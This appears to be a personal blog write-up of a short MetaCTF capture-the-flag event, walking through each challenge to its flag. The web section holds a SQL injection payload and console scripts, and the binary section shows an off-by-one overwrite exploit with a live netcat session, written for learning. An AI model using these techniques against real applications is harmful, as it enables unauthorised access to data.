8 - August

MetaCTF August 2025 Flash CTF (24th / 1423) -- It was a pleasure doing a full clear for the first time, but I was so close...

1. Challenges

Thu, August 28th

  • 5:00 PM - CTF Starts

  • 7:00 PM - CTF Ends

  • They also have official writeups for your references

Forensics — Baby Something

How does the song go again? Baby something do do do do do do...

Download the artifact here.

  • You received a babysomething.pcap file

  • You can see that the intended solution involves opening the file in Wireshark and analyzing it there.

  • However, since I saw this was a 50-point challenge, I decided to take the lazy approach instead:

    • tshark -r babysomething.pcap -V

  • MetaCTF{w1r3sh4rk_d00_d00_d00_d00_d00_d00}

Rev — All About Flags

I wrote a command line application all about flags! Can you take a look at it for me?

There's downloads both for Windows and Linux, but they're functionally the same, just download the version for whichever OS you prefer.

If you are unable to download and run applications, click here, but we recommend downloading and running it yourself if possible - it is a useful skill to learn and will be faster than waiting for our instance to start.

Spawn a browser-based shell below. Note that this is provided as a convenience only and will be paused or removed if there is excessive load.

  • I did my usual routine and ...that is all

  • MetaCTF{I_f1y_m4ny_fl4g5_4nd_c4p7ur3_3v3n_m0r3}

  • The intended solution is actually to run the executable, though. Which, ehm... makes sense.

❯ chmod +x all-about-flags
❯ ./all-about-flags --help
Usage: ./all-about-flags [OPTIONS]

All About Flags - A utility for validating and displaying the MetaCTF Flash CTF - "All About Flags" challenge flag

Options:
  --flag
        Display the challenge flag
  --help
        Show this help message
  --verbose
        Enable verbose output
  --version
        Show version information

Examples:
  ./all-about-flags --flag                    Display the challenge flag
  ./all-about-flags --flag --verbose          Display flag with verbose output
  ./all-about-flags --version                 Show version information
  ./all-about-flags --help                    Show this help message

Exit Codes:
  0  Success
  1  Error or invalid usage
  2  Flag not found or invalid
  
❯ ./all-about-flags --flag
MetaCTF{I_f1y_m4ny_fl4g5_4nd_c4p7ur3_3v3n_m0r3}

Crypto — Rainbow Box

Several planes crashed in the same location, but we could only find one black box. All we found was this weird rainbow image? Can you make anything out?

Download the image here.

  • tbh 🤷‍♂️, my first instinct was that the hidden flag was a QR code or something where all the pixels had been scrambled here and there.

    • So I checked the pixels and examined the dimensions to see if it fits 25x25, etc.

    • Then I decided on a whim to throw it into my favorite tool

    • From that... the answer is just a breeze — click and take notes

  • Another tool will help you visualize this will be:\\

Explanation

This is a bitplane steganography chall, w where the flag is hidden in the individual bit layers of the image data. Each RGB channel contains a letter, so when we separate tand visualize each bitplain, the flag becomes visible.

  • MetaCTF{fly-b1tpl4ne}

OSINT — On The Grid

I was hanging out on Granite Beach when I found a message in a bottle, it didn't say very much though. Can you help me figure out where it came from? Here's the transcript:

Help! 4V FH 246 677

The answer to the challenge is the name of the location the message was most likely written at.

  • My first couple attempts that I thought it was simple Alaska so I shoot myself in the foot w that

  • Google Map will leads us here

  • Flag: Sutwik Island

  • However, the official writeup said that the answer is Foogy Cape (which is just a zoom in specific location of the island)

Web — Super Quick Logic Invitational

I'll take "Rather Vexing" for 500 Alex.

This new trivia game is pretty fun, but one of the challenges is impossible! "What is the flag for this CTF challenge?", how would I know?! Maybe you'll fare better?

  • Lets hit up the site and see what we are dealing with

  • After reconnaissance we could pull up the script in the game, I first spotted the

function stopTimer() {
    if (timerInterval) {
        clearInterval(timerInterval);
        timerInterval = null;
    }
}
  • So simply input that in the console (the game time will stop and give us time to do our shenanigans.

  • The frontend lets you pull new questions from /next_problem.

    • function loadNextProblem() {
          console.log('Loading next problem...');
          ...
          // Get next problem from server
          fetch('/next_problem')
              ...
      }
  • The backend builds a SQL string like SELECT * FROM problems WHERE id = <id> AND answer = '<user_input>' and even returns the failed SQL back to the client on error.

    • This can be confirm when we input special characters like '";:[{]}| and the code leak in the source.

if (data.error) {
  if (data.query) {                                    // <== 🔴 leak -- so sql inject
    resultDiv.innerHTML = 'SQL Error occurred';        // <== 🔴 leak -- hehehe
    `;
  }
}
  • So our exploit process is straight forward, if we can cause a DB error, we’ll see the exact SQL the server tried to run.

(async () => {
  // ignore the client’s “no duplicates”
  if (typeof usedProblems !== 'undefined') usedProblems.clear();

  // keep asking the server for a new problem until we hit the flag
  for (;;) {
    const j = await (await fetch('/next_problem')).json();
    // show it on screen so we can see it
    document.getElementById('problem').textContent = j.question;

    if (/flag.*ctf/i.test(j.question)) {
      console.log('HIT:', j.question);
      break;
    }
  }
})(); // paste this into the console
  • Finally, we send our regard, I mean payload

    • On the flag question, our payload will short-circuits the WHERE clause to true by selecting the flag row, the server will think our answer is (id = <current_id> AND ...) OR (id = 201) which is true when we are at question 201. And then route to /game_end

(async () => {
  const csrf = document.querySelector('input[name="csrf_token"]').value;
  const payload = "' OR id = 201 -- ";
  const res = await fetch('/submit', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: new URLSearchParams({ answer: payload, csrf_token: csrf })
  });
  const data = await res.json();
  console.log(data.correct ? 'Marked SOLVED' : 'Not solved', data);
  location.href = '/game_end';
})();
  • The reason why it is 201 is because when we are at the question "What is the flag...", we break the sql again so it reveals to us

  • Also the challenge description, bro literally said "201 unique problems to solve each game, you'll never believe what's the answer to challenge 201"

Error: unrecognized token: "";:[{]}\|,<.>/?'"
Query: SELECT * FROM problems WHERE id = 201 AND answer = ''";:[{]}\|,<.>/?'
  • MetaCTF{wh4t_1s_7h3_fl4g_f0r_7hi5_ch5l1eng3}

Binary Exploitation — Spreadsheet

I can't afford Office 365 so I've decided to roll my own. What could possibly go wrong!

My spreadsheet application is a work in progress but feel free to give it a try. You can download my program here.

Try it live here: nc kubenode.mctf.io 31009 If that instance is not working, there is a backup instance at: nc host5.metaproblems.com 7542

One sad thing about this challenge is that it took me an entire hour due to misidentifying the challenge type. It was Binary Exploitation, but my dumb ass thought the purple category color indicated Forensics. This led me down a rabbit hole I never wish to jump into again.

tldr; The program stores a 10×10 grid of char* in .bss right before a global pointer named savefile. edit_spreadsheet() bounds-checks the row as 1..10 but allows the column letter up to 'K' (off-by-one). Writing to cell K10 therefore writes one pointer past the grid and overwrites savefile. Set it to flag.txt, then Load → Print.

E
K10
flag.txt
L
P

Because the service is jailed at /srv/app, the correct in-jail path is flag.txt (or /flag.txt), not /srv/app/flag.txt. (My mistake for not reading the dockerfile)

FROM pwn.red/jail:latest
COPY --from=ubuntu:22.04 / /srv
COPY spreadsheet.bin /srv/app/run
COPY flag.txt /srv/app/flag.txt
RUN ln -s /tmp/spreadsheet.csv /srv/app/spreadsheet.csv
ENV JAIL_TMP_SIZE=4096
  • Okay, now after the moment I realized the flag is not directly in the hex of the bin (Forensics - duh), and some address manipulation (Binary Exploit), I throw it into dogbolt and get the ghidra decompiler code to works.

// init: set default filename
savefile = strdup("spreadsheet.csv");

void edit_spreadsheet(void) {
  char col; int row; char val[1024];
  scanf("%c%d%*c", &col, &row);
  ...
  if ((((row < 1) || (10 < row)) || (col < 'A')) || ('K' < col)) {
      puts("Error: bad cell");
  } else {
      free(spreadsheet[row-1][col-'A']);
      spreadsheet[row-1][col-'A'] = strdup(val);   // ❌ accepts 'K'
  }
}

void load_spreadsheet(void) {
  FILE *fp = fopen(savefile, "r");
  ...
  while (fgets(line, 0x400, fp) && strlen(line) > 1) {
    int col = 0;
    char *val = strtok(line, ",");
    while (val) {
      free(spreadsheet[row][col]);
      spreadsheet[row][col] = strdup(val);        // (no col<=9 check)
      val = strtok(NULL, ",");
      col++;
    }
    row++;
  }
}

void save_spreadsheet(void) {
  FILE *fp = fopen(savefile, "w");
  for (row=0; row<10; row++)
    for (col=0; col<10; col++)
      fprintf(fp, "%s,", spreadsheet[row][col]);
  fputc('\n', fp);
}
  • That's when I realized:

    • Edit OOB (off-by-one): column allows 'K', so col-'A' == 10 is written, overflowing row’s 10-element row.

  • Why K overwrites savefile?

$ nm -n spreadsheet.bin | egrep ' spreadsheet$| savefile$'
0000000000004060 B spreadsheet      # 10×10 pointers = 100 * 8 = 0x320 bytes
0000000000004380 B savefile         # immediately after spreadsheet
  • The grid occupies indices 0..99; the next pointer (index 100) is savefile. Valid indices are: 0..99 (A1..J10).

  • K10(10-1)*10 + ('K'-'A' = 10) = 9*10 + 10 = 100 exactly one past the array → savefile.

  • Set cell K10 to the file you want to load (the flag), and the next Load will fopen(savefile, "r").

$ nc kubenode.mctf.io 31009
Options: (P)rint, (E)dit, (L)oad, (S)ave, (Q)uit
 > E
Enter cell (i.e. 'B7'): K10
Enter new value: flag.txt
Value updated!
 > L
Spreadsheet loaded!
 > P
        A       B       C       D       E       F       G       H       I       J
 1      MetaCTF{c0mm4_c0mm4_c0mm4_c0mma_c0mm4_ch4m3l30n}  EMPTY ...
  • MetaCTF{c0mm4_c0mm4_c0mm4_c0mma_c0mm4_ch4m3l30n}

🚩gg.

Last updated